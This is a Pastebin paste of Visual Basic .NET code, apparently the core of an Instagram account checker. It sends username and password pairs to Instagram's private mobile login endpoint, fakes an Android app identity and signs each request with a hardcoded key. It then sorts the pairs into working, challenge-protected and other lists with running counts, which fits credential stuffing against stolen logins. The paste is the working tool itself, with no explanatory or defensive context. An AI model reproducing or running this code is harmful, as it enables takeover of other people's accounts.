Advertisement
_0i

Untitled

_0i
Jan 4th, 2019
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.48 KB | None | 0 0
  1. Private Sub check(user As String, pass As String)
  2. Try
  3. ServicePointManager.DefaultConnectionLimit = 300
  4. ServicePointManager.UseNagleAlgorithm = False
  5. ServicePointManager.Expect100Continue = False
  6. ServicePointManager.CheckCertificateRevocationList = False
  7. Dim request As HttpWebRequest = HttpWebRequest.Create("https://i.instagram.com/api/v1/accounts/login/")
  8. request.CookieContainer = New CookieContainer
  9. request.Method = "POST"
  10. request.Accept = "*/*"
  11. ' request.Proxy = Nothing
  12. request.Headers.Add("X-IG-Connection-Type", "WiFi")
  13. request.Headers.Add("Accept-Language", "ar-SA;q=1, en-SA;q=0.9")
  14. request.ContentType = "application/x-www-form-urlencoded; charset=UTF-8"
  15. request.UserAgent = "Instagram 10.3.2 Android (18/4.3; 320dpi; 720x1280; Xiaomi; HM 1SW; armani; qcom; en_US)"
  16. request.Headers.Add("X-IG-Capabilities: 3wI=")
  17. Dim data As String = "{""username"":""" & user & """,""password"":""" & pass & """,""_csrftoken"":""" & ran() & """,""device_id"":""" & Guid.NewGuid.ToString.ToUpper & """,""login_attempt_count"":""0""}"
  18. Dim sb As New StringBuilder
  19. Try
  20. Dim secretkey As String = "5ad7d6f013666cc93c88fc8af940348bd067b68f0dce3c85122a923f4f74b251"
  21. Dim sha As New System.Security.Cryptography.HMACSHA256(System.Text.ASCIIEncoding.ASCII.GetBytes(secretkey))
  22. Dim Hash() As Byte = sha.ComputeHash(System.Text.ASCIIEncoding.ASCII.GetBytes(data))
  23. sb = New StringBuilder(Hash.Length * 2)
  24. For Each B As Byte In Hash
  25. sb.Append(Hex(B).PadLeft(2, "0"))
  26. Next
  27. Catch ex As Exception : End Try
  28. Dim postData As String = "ig_sig_key_version=4&signed_body=" & sb.ToString.ToLower & "." & Web.HttpUtility.UrlEncode(data)
  29. Dim byteArray As Byte() = Encoding.UTF8.GetBytes(postData)
  30. request.ContentLength = byteArray.Length
  31. Dim dataStream As Stream = request.GetRequestStream()
  32. dataStream.Write(byteArray, 0, byteArray.Length)
  33. dataStream.Close()
  34. Dim response As HttpWebResponse = request.GetResponse()
  35. dataStream = response.GetResponseStream()
  36. Dim reader As New StreamReader(dataStream)
  37. Dim responseFromServer As String = reader.ReadToEnd()
  38.  
  39. reader.Close()
  40. dataStream.Close()
  41. response.Close()
  42.  
  43. notSecured += 1
  44. Ns.Items.Add(user & ":" & pass)
  45.  
  46.  
  47.  
  48. Catch ex As WebException
  49. Dim response As WebResponse = ex.Response
  50. Dim statusCode As HttpStatusCode
  51. Dim ResponseText As String
  52. Dim httpResponse As HttpWebResponse = CType(response, HttpWebResponse)
  53. statusCode = httpResponse.StatusCode
  54. Dim myStreamReader As New StreamReader(response.GetResponseStream())
  55. Using (myStreamReader)
  56. ResponseText = myStreamReader.ReadToEnd
  57. End Using
  58.  
  59. If ResponseText.Contains("challenge") = True Then
  60. secured += 1
  61. s.Items.Add(user & ":" & pass)
  62.  
  63.  
  64. Else
  65. other += 1
  66. e.Items.Add(user & ":" & pass)
  67.  
  68.  
  69.  
  70. End If
  71.  
  72.  
  73.  
  74. End Try
  75.  
  76. done += 1
  77. End Sub
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement